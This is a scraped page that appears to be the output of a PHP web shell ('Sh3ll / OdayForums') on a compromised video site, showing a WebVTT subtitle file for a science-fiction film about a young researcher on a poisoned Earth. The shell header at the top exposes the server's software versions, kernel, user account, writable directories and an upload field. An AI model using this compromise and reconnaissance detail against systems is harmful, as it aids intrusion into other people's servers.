����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/01-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/01-2019/5c449b0526dd2-1548000005.vtt
WEBVTT

1
00:01:01.130 --> 00:01:03.670
[Sam] It's like we were doomed
to destroy our planet.

2
00:01:04.963 --> 00:01:07.553
Some say it was
because of the increasing pollution.

3
00:01:09.296 --> 00:01:10.876
I just call it human nature.

4
00:01:13.005 --> 00:01:15.585
A few scientists predicted
what would happen.

5
00:01:16.421 --> 00:01:19.671
They started working on a power station
that could be sent into space

6
00:01:19.755 --> 00:01:22.665
to harvest geothermal energy
from other planets.

7
00:01:25.671 --> 00:01:26.711
But it was too late.

8
00:01:28.505 --> 00:01:30.505
People would start dying in their sleep...

9
00:01:31.671 --> 00:01:33.511
suffocating in the streets,

10
00:01:33.588 --> 00:01:35.588
the blood in  their veins turning black.

11
00:01:36.671 --> 00:01:41.051
"An unexpected change
in atmosphere composition," they said.

12
00:01:42.546 --> 00:01:47.086
To me it was just our planet desperately
trying to survive by kicking us out.

13
00:01:49.130 --> 00:01:53.130
So one day, a hundred ships
flew off into the sky.

14
00:01:58.588 --> 00:02:00.258
It was the Exodus mission.

15
00:02:01.921 --> 00:02:04.341
They turned the power station
into a colony,

16
00:02:04.838 --> 00:02:08.088
like a lifeboat floating above
Jupiter's volcanic moon,

17
00:02:09.130 --> 00:02:10.260
also known as…

18
00:02:14.713 --> 00:02:16.013
[breathing]

19
00:02:25.130 --> 00:02:26.630
[rain falling]

20
00:03:46.296 --> 00:03:48.416
[Sam] What do we have here?

21
00:03:54.338 --> 00:03:56.958
[automated female voice]
Audio memorandum initiated.

22
00:03:57.755 --> 00:04:01.835
[Sam] Begin audio log entry 46809.

23
00:04:02.588 --> 00:04:04.708
Researcher ID Sam Walden.

24
00:04:06.046 --> 00:04:08.756
I'm looking at what appears to be
rafts of mosquito

25
00:04:08.838 --> 00:04:11.128
or midge fly spawn. Period.

26
00:04:11.213 --> 00:04:13.303
Something resembling
blooms of black algae

27
00:04:13.380 --> 00:04:15.840
identifiable in subsurface ponded water

28
00:04:15.921 --> 00:04:19.261
despite minimal opportunity
for chemosynthesis. Period.

29
00:04:21.963 --> 00:04:23.133
That's what I thought.

30
00:04:27.505 --> 00:04:31.545
Level of toxicity in ambient atmosphere:
severe.

31
00:04:34.255 --> 00:04:38.005
Sample 181A. Water-striding insects.

32
00:04:38.505 --> 00:04:42.545
Found in a zone apparently in the presence
of a strong concentration of ammonia.

33
00:04:44.505 --> 00:04:46.085
Sample 181B.

34
00:04:46.171 --> 00:04:48.961
Drawn from sediment strata,
should confirm or disconfirm

35
00:04:49.046 --> 00:04:53.506
the presence of bacterium able to use
ammonium as a main oxygen source.

36
00:05:14.338 --> 00:05:15.548
[breathing]

37
00:05:25.588 --> 00:05:28.508
"A shudder in the loin engenders there,

38
00:05:29.630 --> 00:05:33.510
the broken wall,
the burning roof and tower...

39
00:05:35.046 --> 00:05:36.876
and Agamemnon dead."

40
00:05:40.421 --> 00:05:41.961
[breathing]

41
00:05:48.213 --> 00:05:50.213
[heavy breathing]

42
00:06:06.171 --> 00:06:07.961
Plants are changing colors.

43
00:06:26.921 --> 00:06:29.011
[beeping]

44
00:06:31.546 --> 00:06:32.456
[exhales]

45
00:06:47.880 --> 00:06:49.880
[panting]

46
00:07:09.755 --> 00:07:11.335
[engine starts]

47
00:08:13.213 --> 00:08:14.093
[Sam] Elon.

48
00:08:15.005 --> 00:08:16.665
I keep having this dream.

49
00:08:17.463 --> 00:08:18.633
I'm on a beach.

50
00:08:19.671 --> 00:08:22.421
I can feel the wind blowing in my hair,

51
00:08:23.338 --> 00:08:26.008
hear the sound of the waves
crashing on the shore.

52
00:08:27.213 --> 00:08:28.343
I can breathe.

53
00:08:42.671 --> 00:08:43.711
[exhales]

54
00:08:49.546 --> 00:08:51.086
[beeping]

55
00:08:53.338 --> 00:08:55.958
[Sam] You won't believe
what I discovered this morning.

56
00:08:56.046 --> 00:08:59.506
Anaerobic reproduction
in a water-striding insect colony.

57
00:09:00.255 --> 00:09:02.125
Yet another new species.

58
00:09:02.755 --> 00:09:03.705
Surviving.

59
00:09:05.130 --> 00:09:08.130
Imagine if the bees could adapt
like those insects.

60
00:09:08.213 --> 00:09:10.173
It would prove that my dad is right.

61
00:09:10.921 --> 00:09:13.591
Earth is not dying, it's being reborn.

62
00:09:13.671 --> 00:09:14.801
[keyboard clacking]

63
00:09:14.880 --> 00:09:17.460
I know things aren't easy
on the IO Colony, but...

64
00:09:18.130 --> 00:09:19.340
please write back soon.

65
00:09:20.255 --> 00:09:21.375
I love you, Elon.

66
00:09:22.088 --> 00:09:24.168
From Earth until the end of the universe.

67
00:09:24.880 --> 00:09:25.710
Sam.

68
00:09:44.255 --> 00:09:45.415
[whispers] I'm sorry.

69
00:10:01.796 --> 00:10:02.916
[inhales]

70
00:10:12.880 --> 00:10:14.170
[gas hissing]

71
00:10:27.421 --> 00:10:28.421
[hissing stops]

72
00:10:38.088 --> 00:10:39.008
[Elon] Dear Sam,

73
00:10:39.796 --> 00:10:42.626
your scientific discoveries
never cease to astound me.

74
00:10:43.338 --> 00:10:46.878
Unearthing the last bits of life
hanging onto that dying world...

75
00:10:47.630 --> 00:10:48.670
that's amazing.

76
00:10:50.255 --> 00:10:53.505
Imagine what you could find
in a whole new galaxy.

77
00:10:55.005 --> 00:10:58.755
Just a week from now, we'll have harvested
enough of IO's volcanic energy

78
00:10:58.838 --> 00:11:01.668
to power the entire
New World Expedition fleet.

79
00:11:04.171 --> 00:11:05.921
Life is in the stars, Sam.

80
00:11:07.005 --> 00:11:09.295
Your father can't hold you back
any longer.

81
00:11:10.421 --> 00:11:13.381
Very soon, the last pocket of air on Earth
will be gone.

82
00:11:14.796 --> 00:11:18.546
You both need to be
on the next Exodus shuttle and come here.

83
00:11:20.046 --> 00:11:20.876
I love you.

84
00:11:21.630 --> 00:11:23.670
From IO until the end of the universe,

85
00:11:24.796 --> 00:11:25.626
Elon.

86
00:11:57.880 --> 00:11:59.960
This is Doctor Harry Walden,

87
00:12:00.046 --> 00:12:02.876
transmitting on frequency 90-43,

88
00:12:02.963 --> 00:12:06.673
listening on frequency
95-60 kilohertz daily.

89
00:12:08.713 --> 00:12:11.883
The world we once called home
appears to have turned against us.

90
00:12:12.838 --> 00:12:17.918
However bleak the situation may seem,
death is only a part of the process.

91
00:12:19.046 --> 00:12:21.876
The fundamental principle of nature
is survival.

92
00:12:23.213 --> 00:12:27.173
More than in our DNA,
it is in our mind, in our soul,

93
00:12:27.255 --> 00:12:29.375
to seek life no matter what.

94
00:12:32.796 --> 00:12:35.666
Plant life has already evolved
to resist ammonia toxicity.

95
00:12:36.838 --> 00:12:39.298
Once bees and other pollinators adapt,

96
00:12:39.380 --> 00:12:41.380
our model predicts vegetation growth

97
00:12:41.463 --> 00:12:44.673
will decontaminate the air
in less than 20 years.

98
00:12:47.296 --> 00:12:50.086
We take to the stars
in search of our salvation,

99
00:12:50.171 --> 00:12:51.961
but we fail to recognize

100
00:12:52.046 --> 00:12:55.706
that we are already on the most
significantly equipped spaceship.

101
00:12:56.630 --> 00:12:59.670
People can, and inevitably will,

102
00:12:59.755 --> 00:13:03.005
adapt and flourish again
on our beautiful planet.

103
00:13:05.088 --> 00:13:07.798
Don't lose yourself
looking into the darkness of space.

104
00:13:08.380 --> 00:13:11.710
Your home is shining blue
just in front of your eyes.

105
00:13:15.921 --> 00:13:19.171
Safe travels and hope
to welcome you here among us soon.

106
00:14:30.046 --> 00:14:32.046
[classical music playing]

107
00:15:55.380 --> 00:15:58.710
[Harry] Generally, the queen bee
is marked so she's easy to find.

108
00:15:59.296 --> 00:16:01.666
But sometimes she's replaced
during a season.

109
00:16:02.671 --> 00:16:05.171
In thousands of bees,
she blends in pretty well,

110
00:16:05.255 --> 00:16:06.085
[computer chimes]

111
00:16:06.171 --> 00:16:09.801
but if you look closely, you'll notice
her thorax, her middle segment, is...

112
00:16:09.880 --> 00:16:11.840
is not like the worker bees...

113
00:16:15.213 --> 00:16:16.963
[Elon] There's amazing news here, Sam.

114
00:16:17.671 --> 00:16:21.301
The council officially announced
the first New World Expedition.

115
00:16:21.380 --> 00:16:23.260
They chose Proxima Centauri.

116
00:16:23.755 --> 00:16:28.415
The exoplanet Proxima B
really is a near-identical Earth twin.

117
00:16:28.505 --> 00:16:30.295
It takes ten years to get there.

118
00:16:30.921 --> 00:16:34.131
All my friends are applying
for the mission. They need engineers.

119
00:16:35.671 --> 00:16:38.051
But it has grave implications
for the Exodus program.

120
00:16:38.130 --> 00:16:39.090
[Sam] Damn it.

121
00:16:47.546 --> 00:16:49.006
[engine starts]

122
00:17:21.546 --> 00:17:22.626
[brakes screech]

123
00:17:24.713 --> 00:17:25.843
[engine stops]

124
00:17:34.338 --> 00:17:36.338
[breathing]

125
00:18:34.213 --> 00:18:35.763
[thunder rumbling]

126
00:20:02.005 --> 00:20:04.005
[alarm blaring]

127
00:20:14.755 --> 00:20:16.755
[breathing]

128
00:20:35.255 --> 00:20:37.835
[Elon] The Council's decision
changes everything.

129
00:20:37.921 --> 00:20:41.131
Effective immediately,
all spacecraft personnel,

130
00:20:41.213 --> 00:20:42.633
energy, everything

131
00:20:42.713 --> 00:20:45.133
has been redirected
to the New World Expeditions.

132
00:20:46.171 --> 00:20:48.341
The Exodus shuttles
that are on Earth right now

133
00:20:48.421 --> 00:20:50.131
will launch in four days

134
00:20:50.213 --> 00:20:52.133
and will be the last ever sent to IO.

135
00:20:53.713 --> 00:20:55.713
You have to leave with your father, Sam.

136
00:20:57.046 --> 00:20:58.956
The universe is calling for us.

137
00:20:59.713 --> 00:21:00.713
Can't you hear it?

138
00:21:00.796 --> 00:21:02.376
[wind blowing]

139
00:22:14.505 --> 00:22:16.505
[panting]

140
00:22:18.713 --> 00:22:21.173
[screams]

141
00:23:24.088 --> 00:23:26.708
[Sam] A giant storm
hit our camp yesterday.

142
00:23:28.505 --> 00:23:31.835
My father's entire bee colony is gone.

143
00:23:33.463 --> 00:23:35.093
All the progress we'd made,

144
00:23:35.880 --> 00:23:37.760
dozens of new genetic strains,

145
00:23:38.380 --> 00:23:39.340
all lost.

146
00:23:42.713 --> 00:23:44.593
I don't know what I'm supposed to do.

147
00:23:46.296 --> 00:23:49.626
Even if I accept that you might be right
about going to IO,

148
00:23:50.546 --> 00:23:53.546
we can't carry enough oxygen
with the ATVs.

149
00:23:55.005 --> 00:23:57.705
I don't think we could ever make it
to the launch site.

150
00:24:18.046 --> 00:24:19.706
[rustling]

151
00:24:37.838 --> 00:24:39.838
[metallic creaking]

152
00:25:10.713 --> 00:25:11.963
[metallic thud]

153
00:25:15.421 --> 00:25:16.921
[clanging]

154
00:25:37.005 --> 00:25:38.005
[sighs]

155
00:25:55.505 --> 00:25:57.455
I'm here for Dr. Harry Walden.

156
00:25:59.338 --> 00:26:01.168
I heard the radio transmission.

157
00:26:09.380 --> 00:26:10.510
Can I have some water?

158
00:26:48.546 --> 00:26:51.206
It's only cloudy like that
because of the charcoal.

159
00:26:52.338 --> 00:26:55.798
We filter our drinking water through sand
and charcoal. It's all it needs.

160
00:27:05.630 --> 00:27:06.590
Is he in there?

161
00:27:10.088 --> 00:27:11.918
I'm Dr. Walden's research assistant.

162
00:27:13.880 --> 00:27:15.550
I'm sure I can answer
any of your questions.

163
00:27:15.630 --> 00:27:17.420
I'm here to see Dr. Walden.

164
00:27:18.338 --> 00:27:19.548
Not you.

165
00:27:19.630 --> 00:27:20.960
Not anybody else.

166
00:27:22.963 --> 00:27:24.713
[thunder rumbles]

167
00:27:28.546 --> 00:27:30.546
[rain pattering]

168
00:27:33.546 --> 00:27:34.626
[door closes]

169
00:27:43.671 --> 00:27:47.671
We haven't had anyone make the pilgrimage
to see Dr. Walden in a long time.

170
00:27:49.921 --> 00:27:50.841
Pilgrimage?

171
00:27:53.338 --> 00:27:54.668
Why you're here, isn't it?

172
00:27:58.421 --> 00:27:59.631
To meet Dr. Walden.

173
00:28:01.630 --> 00:28:03.210
Where did you say he was again?

174
00:28:04.296 --> 00:28:05.956
He's off in the mountain right now,

175
00:28:06.338 --> 00:28:08.088
gathering specimens for our work.

176
00:28:08.171 --> 00:28:09.761
I need you to take me to him.

177
00:28:10.296 --> 00:28:13.206
I can't. I don't know his exact location.

178
00:28:17.671 --> 00:28:18.711
Where's everyone else?

179
00:28:22.921 --> 00:28:23.881
There is no one else.

180
00:28:37.713 --> 00:28:38.713
I'll wait.

181
00:28:42.838 --> 00:28:44.008
You're going to Exodus.

182
00:28:46.505 --> 00:28:47.335
What?

183
00:28:48.046 --> 00:28:48.956
Your balloon.

184
00:28:51.088 --> 00:28:53.378
You're going
to the final Exodus launch to IO?

185
00:28:55.838 --> 00:28:56.708
That's right.

186
00:29:02.380 --> 00:29:04.880
It sure took you long enough
to decide to leave Earth.

187
00:29:06.546 --> 00:29:07.706
I'll fix you some food.

188
00:29:08.671 --> 00:29:09.551
No.

189
00:29:10.255 --> 00:29:12.505
I'm not gonna take any of your food.

190
00:29:12.588 --> 00:29:13.588
[Sam] We have plenty.

191
00:29:20.588 --> 00:29:22.168
You have fresh vegetables?

192
00:29:23.588 --> 00:29:25.548
Yeah. I have an entire greenhouse.

193
00:29:39.255 --> 00:29:40.545
It's better with that.

194
00:29:55.463 --> 00:29:56.513
Huh.

195
00:30:03.921 --> 00:30:06.421
Do you know
if there's any animals left in the sea?

196
00:30:08.005 --> 00:30:10.125
I've always really wanted
to go to the ocean.

197
00:30:11.713 --> 00:30:12.553
No.

198
00:30:13.005 --> 00:30:13.835
There's nothing.

199
00:30:15.338 --> 00:30:16.588
There's nothing anywhere.

200
00:30:24.005 --> 00:30:25.295
Even the birds all died.

201
00:30:26.838 --> 00:30:28.628
You'd think they could
live up high like us.

202
00:30:28.713 --> 00:30:31.093
Yeah. Birds gotta land too, you know.

203
00:30:34.588 --> 00:30:35.918
Have you ever seen a swan?

204
00:30:40.796 --> 00:30:41.666
Yeah.

205
00:30:42.130 --> 00:30:43.710
Yeah, when I was a kid..

206
00:30:45.838 --> 00:30:46.668
Right.

207
00:30:48.130 --> 00:30:49.210
You're from before.

208
00:30:51.338 --> 00:30:52.168
Yeah.

209
00:30:54.338 --> 00:30:55.918
You've seen other cities?

210
00:30:56.505 --> 00:30:57.585
Just from the sky.

211
00:31:00.171 --> 00:31:01.461
Is it the same everywhere?

212
00:31:02.880 --> 00:31:04.460
Yeah, it's the same everywhere.

213
00:31:10.463 --> 00:31:12.633
I don't believe you.
No way you could've seen everywhere.

214
00:31:12.713 --> 00:31:14.633
When is Dr. Walden getting back?

215
00:31:17.838 --> 00:31:19.298
Sometimes he's gone for days.

216
00:31:28.130 --> 00:31:30.300
[machines beeping]

217
00:31:30.380 --> 00:31:32.090
[keyboard clacking]

218
00:31:32.171 --> 00:31:33.261
[electronic whirring]

219
00:31:38.421 --> 00:31:40.961
You have
a lot of electronic equipment in here.

220
00:31:44.838 --> 00:31:47.588
[Sam] We scavenge
and salvage what we can from the zone.

221
00:31:48.880 --> 00:31:50.460
[Micah] What are you doing?

222
00:31:50.546 --> 00:31:53.256
[Sam] We're trying to establish
a variant breed of honeybees

223
00:31:53.338 --> 00:31:55.548
that can adapt to the toxic atmosphere.

224
00:31:55.630 --> 00:31:58.590
Immunogenics is
pretty fascinating actually.

225
00:31:58.671 --> 00:32:00.961
No, right now.
What are you doing right now?

226
00:32:01.713 --> 00:32:02.923
[Sam] Oh, um...

227
00:32:03.963 --> 00:32:05.133
I'm writing a letter.

228
00:32:06.838 --> 00:32:08.958
What are you talking about? To who?

229
00:32:09.046 --> 00:32:10.416
Someone on the Colony.

230
00:32:13.838 --> 00:32:15.378
You have contact with IO?

231
00:32:16.588 --> 00:32:18.298
My friend Elon is an engineer

232
00:32:18.380 --> 00:32:21.050
working on the solar cell mission
to Alpha Centauri.

233
00:32:21.130 --> 00:32:24.090
He can access the main transmission link
between Earth and IO.

234
00:32:26.338 --> 00:32:28.668
You're gonna have to sleep
in here tonight.

235
00:32:29.588 --> 00:32:33.338
Dr. Walden's work is very important
and I can't have you interfering.

236
00:32:36.046 --> 00:32:37.796
[Micah] Is that his room there?

237
00:32:39.130 --> 00:32:41.090
It's his office and living quarters.

238
00:32:43.588 --> 00:32:44.508
[click]

239
00:32:45.338 --> 00:32:47.418
This is Dr. Harry Walden,

240
00:32:47.505 --> 00:32:50.375
transmitting on frequency 90-43,

241
00:32:50.463 --> 00:32:54.133
listening on frequency
95-60 kilohertz daily.

242
00:32:54.546 --> 00:32:57.336
That's 31 meters band frequency,

243
00:32:57.421 --> 00:32:59.711
-95-60 kilohertz.
-Is that what I heard?

244
00:33:00.380 --> 00:33:01.300
A recording?

245
00:33:02.171 --> 00:33:03.421
[Sam] It's protocol.

246
00:33:04.755 --> 00:33:06.505
When he's not here, I play the tape.

247
00:33:06.588 --> 00:33:08.758
So he's been gone more than two days?

248
00:33:10.838 --> 00:33:12.668
Uh... I guess that's right.

249
00:33:15.630 --> 00:33:17.260
He'll be back tomorrow probably.

250
00:33:19.296 --> 00:33:20.416
What's your name?

251
00:33:22.046 --> 00:33:22.876
Micah.

252
00:33:27.005 --> 00:33:27.915
I'm Sam.

253
00:33:30.046 --> 00:33:31.506
It's nice to meet you, Sam.

254
00:33:51.505 --> 00:33:52.795
[wind howling]

255
00:34:31.755 --> 00:34:33.295
[Sam] Wanna make yourself useful?

256
00:34:36.880 --> 00:34:38.880
[footsteps]

257
00:34:49.963 --> 00:34:52.093
I have to repair a broken solar panel too.

258
00:34:54.963 --> 00:34:58.593
Should be able to seal it, but it'll never
put out as many amps as it used to.

259
00:34:59.671 --> 00:35:01.551
[Micah] You do a lot of work around here.

260
00:35:04.338 --> 00:35:05.258
You have a rope?

261
00:35:08.546 --> 00:35:09.836
[Micah grunts]

262
00:35:10.380 --> 00:35:11.670
[creaking]

263
00:35:18.088 --> 00:35:19.338
[metallic clang]

264
00:35:19.421 --> 00:35:21.301
[creaking]

265
00:35:25.255 --> 00:35:26.915
Looks pretty good, right?

266
00:35:36.171 --> 00:35:38.671
[Sam] So, you know my friend Elon
I mentioned before?

267
00:35:39.880 --> 00:35:41.800
He's not really my friend.

268
00:35:42.380 --> 00:35:46.050
Well, he is, but he's,
you know, more than that.

269
00:35:46.130 --> 00:35:47.170
Is that right?

270
00:35:49.088 --> 00:35:50.378
How does that work?

271
00:35:50.963 --> 00:35:52.173
[Sam] A lot of letters,

272
00:35:52.671 --> 00:35:53.711
a lot of, uh...

273
00:35:54.963 --> 00:35:55.963
loneliness.

274
00:35:56.046 --> 00:35:56.876
[sighs]

275
00:35:56.963 --> 00:35:59.013
What about you? Do you have a wife?

276
00:35:59.588 --> 00:36:00.458
No.

277
00:36:03.546 --> 00:36:05.296
I guess you must think it's stupid.

278
00:36:07.255 --> 00:36:09.045
[sighs] What?

279
00:36:10.130 --> 00:36:11.050
Me and Elon.

280
00:36:11.921 --> 00:36:12.881
I mean...

281
00:36:14.296 --> 00:36:18.706
Do you think it's absurd to love someone
that's millions of miles away?

282
00:36:20.796 --> 00:36:21.706
Not at all.

283
00:36:23.838 --> 00:36:27.878
So ancient is the desire for one another
which is implanted in us.

284
00:36:29.213 --> 00:36:31.633
Reuniting our original nature,

285
00:36:31.713 --> 00:36:33.843
seeking to make one of two

286
00:36:34.796 --> 00:36:36.376
and healing the state of man.

287
00:36:39.713 --> 00:36:40.553
What's that?

288
00:36:42.130 --> 00:36:42.960
Plato.

289
00:36:44.088 --> 00:36:45.338
Symposium.

290
00:36:52.088 --> 00:36:53.048
What does it mean?

291
00:36:58.005 --> 00:36:59.045
He says...

292
00:37:00.880 --> 00:37:03.510
humans originally had two faces.

293
00:37:04.463 --> 00:37:06.463
Four arms, four legs.

294
00:37:08.088 --> 00:37:09.588
And they were happy like that.

295
00:37:11.088 --> 00:37:12.008
Complete.

296
00:37:14.338 --> 00:37:16.258
Then they defied the gods,

297
00:37:17.338 --> 00:37:20.168
so the gods split us in two as punishment.

298
00:37:21.588 --> 00:37:23.918
Tore us away from our other halves.

299
00:37:27.296 --> 00:37:30.126
He said each of us, when separated,

300
00:37:30.213 --> 00:37:33.093
is always looking for our other half.

301
00:37:35.838 --> 00:37:36.838
It's our nature.

302
00:37:39.171 --> 00:37:41.381
But when one is met
with this other half...

303
00:37:43.505 --> 00:37:46.705
the pair are lost in an amazement of love,

304
00:37:47.505 --> 00:37:48.585
friendship,

305
00:37:49.713 --> 00:37:50.673
intimacy.

306
00:37:53.463 --> 00:37:56.263
And one will not be seen
out of the other's sight.

307
00:37:58.421 --> 00:37:59.841
See, the reason is...

308
00:38:01.130 --> 00:38:06.260
human nature was once originally one.

309
00:38:08.963 --> 00:38:09.963
And we were whole.

310
00:38:10.963 --> 00:38:14.213
And the desire
and the pursuit of the whole...

311
00:38:16.463 --> 00:38:17.713
is called love.

312
00:38:21.505 --> 00:38:22.335
Wow.

313
00:38:28.171 --> 00:38:29.801
You know a lot about this stuff.

314
00:38:31.255 --> 00:38:32.665
I was gonna be a teacher...

315
00:38:34.130 --> 00:38:34.960
once.

316
00:38:37.921 --> 00:38:39.671
I wasn't gonna tell you this...

317
00:38:43.963 --> 00:38:45.673
Harry Walden is my father.

318
00:38:47.546 --> 00:38:48.456
No.

319
00:38:49.255 --> 00:38:50.085
Really?

320
00:38:50.796 --> 00:38:52.336
[laughing]

321
00:39:02.421 --> 00:39:03.461
[Sam] Come with me.

322
00:39:06.963 --> 00:39:09.923
Bees used to do
almost all the pollinating, but...

323
00:39:11.213 --> 00:39:12.843
now I have to do it all by hand.

324
00:39:15.130 --> 00:39:17.340
-The three sisters.
-[Sam] Yeah.

325
00:39:17.421 --> 00:39:19.671
Corn provides the structure
for the beans to climb,

326
00:39:19.755 --> 00:39:22.255
squash spreads out over the soil
like mulch,

327
00:39:22.338 --> 00:39:24.168
and that keeps the moisture in.

328
00:39:24.255 --> 00:39:26.755
And then the beans
provide the nitrogen in return.

329
00:39:27.838 --> 00:39:29.128
Everybody wins.

330
00:39:31.171 --> 00:39:32.591
What are those tattoos?

331
00:39:34.463 --> 00:39:36.213
E to the i pi plus one equals zero.

332
00:39:37.755 --> 00:39:39.005
It's Euler's equation.

333
00:39:40.296 --> 00:39:42.666
But this one's my absolute favorite.
It's, uh...

334
00:39:43.213 --> 00:39:45.053
Nowak's Evolvability Equation.

335
00:39:46.255 --> 00:39:49.085
Symbols on the left represent
all possible strings of molecules

336
00:39:49.171 --> 00:39:52.841
and symbols on the right represent
selection pressures and fitness ratings.

337
00:39:54.338 --> 00:39:58.628
Basically that just means, um...
all that's necessary for life to emerge

338
00:39:58.713 --> 00:40:02.383
are molecules subject to forces
of selection and mutation.

339
00:40:02.796 --> 00:40:05.876
If those conditions are met,
self-replication emerges.

340
00:40:11.171 --> 00:40:12.171
People can change.

341
00:40:17.380 --> 00:40:19.380
Don't you see how important that is?
I mean...

342
00:40:19.463 --> 00:40:21.713
What about the markings on your rib cage?

343
00:40:23.505 --> 00:40:27.045
Uh... It's nothing. It's just something 
we do as part of our research.

344
00:40:28.921 --> 00:40:30.631
We do it to build up our immunity.

345
00:40:32.963 --> 00:40:33.803
Does it hurt?

346
00:40:36.046 --> 00:40:36.956
Not that bad.

347
00:40:53.838 --> 00:40:54.758
That's Lucy.

348
00:40:57.463 --> 00:40:58.633
How is that possible?

349
00:40:59.213 --> 00:41:00.463
[Sam] It's complicated.

350
00:41:03.713 --> 00:41:04.923
You see, for my Dad...

351
00:41:06.421 --> 00:41:08.461
IO was just a last resort.

352
00:41:11.421 --> 00:41:12.261
A lifeboat.

353
00:41:15.296 --> 00:41:17.836
-[Micah] What happened to Lucy?
-She died...

354
00:41:19.130 --> 00:41:20.010
eventually.

355
00:41:25.255 --> 00:41:26.295
She gave us hope.

356
00:41:35.171 --> 00:41:36.011
Wait.

357
00:41:37.713 --> 00:41:38.803
I wanna see this.

358
00:41:41.338 --> 00:41:44.128
[Harry] Planet Earth
is a miracle in the universe.

359
00:41:44.213 --> 00:41:47.133
We are its caretakers,
and it is our duty to stay...

360
00:41:48.421 --> 00:41:51.091
stay and fight for our world.

361
00:41:51.755 --> 00:41:54.545
Humans may have nearly destroyed our home,

362
00:41:54.630 --> 00:41:57.260
but we can make it habitable again

363
00:41:57.338 --> 00:42:00.168
and we will breathe the air again.

364
00:42:02.046 --> 00:42:04.416
The strong, brave souls that will stay,

365
00:42:05.005 --> 00:42:06.705
if any do choose to stay,

366
00:42:07.380 --> 00:42:10.840
will become a new civilization
of its own design.

367
00:42:13.421 --> 00:42:15.301
[man] A special thanks to Dr. Walden.

368
00:42:16.171 --> 00:42:17.301
A note to our viewers

369
00:42:17.755 --> 00:42:20.085
that this will be our final program

370
00:42:20.171 --> 00:42:24.131
due to the shut down of all broadcast
television from midnight tonight.

371
00:42:25.046 --> 00:42:26.456
There is too much to say,

372
00:42:26.963 --> 00:42:30.803
and I will end the program as I have
every day for the last eight years.

373
00:42:30.880 --> 00:42:32.960
From all of us, to all of you...

374
00:42:33.463 --> 00:42:34.803
[together] See you tomorrow.

375
00:42:35.880 --> 00:42:36.800
[man] Thank you.

376
00:42:47.963 --> 00:42:49.263
[footsteps]

377
00:43:23.963 --> 00:43:27.213
[Sam] For a long time, you must've
thought it was the right thing to do.

378
00:43:28.838 --> 00:43:30.008
Staying on Earth.

379
00:43:31.005 --> 00:43:31.835
Right?

380
00:43:32.588 --> 00:43:33.878
For a long time.

381
00:43:36.838 --> 00:43:37.958
I was foolish.

382
00:43:41.838 --> 00:43:43.708
[Sam] I think you were really brave.

383
00:43:46.046 --> 00:43:47.706
My dad would have thought so too.

384
00:44:27.171 --> 00:44:29.341
So I see you found
my parents' old bedroom.

385
00:44:30.671 --> 00:44:32.671
[Micah] Your mother's name
was June, right?

386
00:44:34.130 --> 00:44:35.130
Yeah, that's right.

387
00:44:37.713 --> 00:44:38.633
How'd you know that?

388
00:44:42.380 --> 00:44:43.510
What did he do to her?

389
00:44:45.380 --> 00:44:46.300
What do you mean?

390
00:44:47.005 --> 00:44:49.505
What did Dr. Walden do
to cause your mother's death?

391
00:44:51.296 --> 00:44:52.376
My mom got sick.

392
00:44:54.255 --> 00:44:55.085
That's it.

393
00:44:56.213 --> 00:44:57.883
[Micah] But he kept her here, right?

394
00:44:57.963 --> 00:44:59.593
-He kept all of you here.
-No.

395
00:45:00.338 --> 00:45:01.668
What do you mean "no"?

396
00:45:02.213 --> 00:45:05.763
Sam, she died because he kept her here.

397
00:45:11.505 --> 00:45:12.665
You're wasting my time.

398
00:45:14.713 --> 00:45:16.133
I have a lot of work to be doing.

399
00:45:23.671 --> 00:45:24.511
Micah!

400
00:45:26.046 --> 00:45:27.086
Open the door.

401
00:45:30.005 --> 00:45:31.545
[panting]

402
00:45:43.505 --> 00:45:45.455
[coughing]

403
00:45:51.213 --> 00:45:52.093
[coughs]

404
00:46:02.296 --> 00:46:03.796
[Harry] Samantha, listen to me.

405
00:46:04.505 --> 00:46:07.335
It's not worth it,
you continuing my experiments.

406
00:46:07.421 --> 00:46:09.131
Dad, what are you doing in here?

407
00:46:09.213 --> 00:46:11.133
It's my lab, isn't it?

408
00:46:11.213 --> 00:46:13.673
You shouldn't be in here,
not without your oxygen.

409
00:46:14.130 --> 00:46:15.170
Sam, it's fine.

410
00:46:16.213 --> 00:46:18.423
You don't need to take care of me anymore.
I'm fine.

411
00:46:18.505 --> 00:46:19.875
[Sam] No, you're not fine.

412
00:46:22.880 --> 00:46:23.880
Where have you been?

413
00:46:25.213 --> 00:46:26.093
Walking.

414
00:46:27.213 --> 00:46:28.303
Sam, it's...

415
00:46:29.755 --> 00:46:33.335
If there was a discovery, a miracle
discovery, I would've found it.

416
00:46:34.630 --> 00:46:35.710
What about Lucy?

417
00:46:43.296 --> 00:46:44.416
How are things with Elon?

418
00:46:47.338 --> 00:46:49.048
I'm not talking to you about that.

419
00:46:50.630 --> 00:46:51.550
Sam...

420
00:46:53.838 --> 00:46:55.958
Don't underestimate
the power of human connection.

421
00:46:56.713 --> 00:46:57.803
That's all there is.

422
00:46:59.421 --> 00:47:00.801
There is no bigger meaning.

423
00:47:01.546 --> 00:47:03.666
Just human connection.

424
00:47:03.755 --> 00:47:05.665
You used to say that about science.

425
00:47:08.630 --> 00:47:10.130
Sam, we have to leave this place.

426
00:47:13.005 --> 00:47:14.755
Sooner or later you'll have to.

427
00:47:20.963 --> 00:47:22.423
You're all alone here.

428
00:47:26.630 --> 00:47:27.630
I'm not alone.

429
00:47:28.755 --> 00:47:30.295
I don't count.

430
00:47:32.171 --> 00:47:33.051
Why not?

431
00:47:38.380 --> 00:47:39.340
I'm dead.

432
00:47:48.255 --> 00:47:50.125
[Sam] My dad buried my mom here.

433
00:47:52.963 --> 00:47:54.423
I buried him here beside her.

434
00:47:59.588 --> 00:48:01.258
I'm sorry I yelled at you.

435
00:48:04.546 --> 00:48:07.706
I have to tell you something, Sam,
and you're not gonna like it.

436
00:48:10.171 --> 00:48:12.511
I've decided I'm taking you to Exodus.

437
00:48:13.755 --> 00:48:15.705
And I can get you there in the balloon.

438
00:48:16.421 --> 00:48:19.211
You won't understand it now,
but it's not up for debate.

439
00:48:20.005 --> 00:48:22.165
You've got your entire life ahead of you.

440
